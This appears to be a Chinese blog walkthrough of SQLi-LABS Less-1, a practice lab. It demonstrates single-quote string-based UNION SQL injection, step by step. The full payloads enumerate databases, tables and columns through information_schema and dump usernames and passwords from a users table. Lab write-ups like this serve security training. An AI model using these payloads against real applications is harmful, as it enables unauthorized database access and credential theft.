SQLi-LABS Less-1

简介: 第一关请求方式为 GET请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入第一步,判断注入类型先输如一个单引号' , 看它会不会报错

第一关请求方式为 GET请求 , 注入点为 单引号字符串型 , 注入方式为 联合注入

第一步,判断注入类型

先输如一个单引号' , 看它会不会报错

?id=1'

我们可以看到,页面有来自数据库的报错

image.png

分析一下报错内容 , 最外面的一对单引号是数据库用来包裹报错信息的 , 我们不用管

这个 1' , 是我们输入的参数 , 我们可以看到它被一对单引号所包裹 , 也就是说,后台的SQL语句在接收参数时 , 包裹了一对单引号 , 固 单引号字符串型注入

image.png

源码如下

image.png

第二步,获取字段数

order by 1 , 可根据第1列排序 , 如果该列不存在,数据库则会报错 , 我们从第1列开始,依次测试第2列,第3列 ... 直至报错

?id=1' order by 4 -- a

第4列时开始报错 , 也就是说返回的结果有3列 , 也就是3个字段 , 固 字段数为 3

image.png

第三步,获取字段显示位置

使用联合查询确定字段的显示位置

?id=-1' union select 1,2,3 -- a

id=-1 , 由于id不为负数 , 查询不出用户数据,查询结果就只有 1 2 3 这一条数据

image.png

第四步,脱库

爆库

1.?id=-1' union select 1,2,
(select group_concat(schema_name)
from information_schema.schemata)
-- a

group_concat() , 可以将多行数据合并为一列,并使用逗号分隔

image.png

爆表

?id=-1' union select 1,2,
(select group_concat(table_name)
from information_schema.tables  
where table_schema='security')
-- a

image.png

爆字段

?id=-1' union select 1,2,
(select group_concat(column_name)
from information_schema.columns 
where table_schema='security' and table_name='users')
-- a

image.png

 获取账号密码

?id=-1' union select 1,2,
(select group_concat(username,'~',password)
from security.users)
-- a

查询security数据库的users表的username,password字段 , 该字段保存了账号和密码

image.png

相关文章
|
5月前
|
安全 数据库 数据安全/隐私保护
sqli-labs第一关
sqli-labs第一关
|
SQL 数据库
SQLi LABS Less-26a
第26a关使用GET请求传递参数,在url地址栏中构造payload即可 源码中过滤了参数中的or,and,/*,--,#,空格,斜线,我们想办法绕过即可
313 0
SQLi LABS Less-26a
SQLi LABS Less-23
第23关使用GET请求传递参数,在url地址栏构造payload即可 此关卡对注释符号进行了过滤,因此不能使用注释符,可以使用单引号闭合,使SQL的语法结构成立
147 0
SQLi LABS Less-23
SQLi LABS Less-26
第26关使用GET请求提交参数,我们可以直接在url地址栏中构造payload 源码中过滤了or,and,/*,#,--,空格,斜线,需要想办法绕过
258 0
SQLi LABS Less-26
|
数据库 数据安全/隐私保护
SQLi LABS Less-19
第19关使用POST请求提交参数,后端对用户名和密码进行了特殊字符转译,难度较大源码如下
172 0
SQLi LABS Less-19
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-22
2关使用POST请求提交参数,对账号和密码中的特殊字符执行了转译的操作,难度较大
105 0
SQLi LABS Less-22
|
SQL 数据库 数据安全/隐私保护
SQLi LABS Less-21
21关使用POST请求提交参数,对用户名和密码中的特殊字符进行了转译,难度较大
161 0
SQLi LABS Less-21
SQLi LABS Less-29
第29关使用GET请求提交参数,在url中构造payload即可 源码中并没有做什么过滤,直接测试注入点即可
208 0
SQLi LABS Less-29
SQLi LABS Less-30
第30关使用GET请求传递参数,在url中构造payload即可 后端源码中并没有做什么过滤,只是在参数两边添加了双引号
137 0
SQLi LABS Less-30
|
SQL 数据库
SQLi LABS Less-27a
第27关使用GET请求提交参数,在url地址栏中构造payload即可 后端源码中过滤了/*,--,#,空格,select,union,需要考虑一下怎么绕过这些规则
175 0
SQLi LABS Less-27a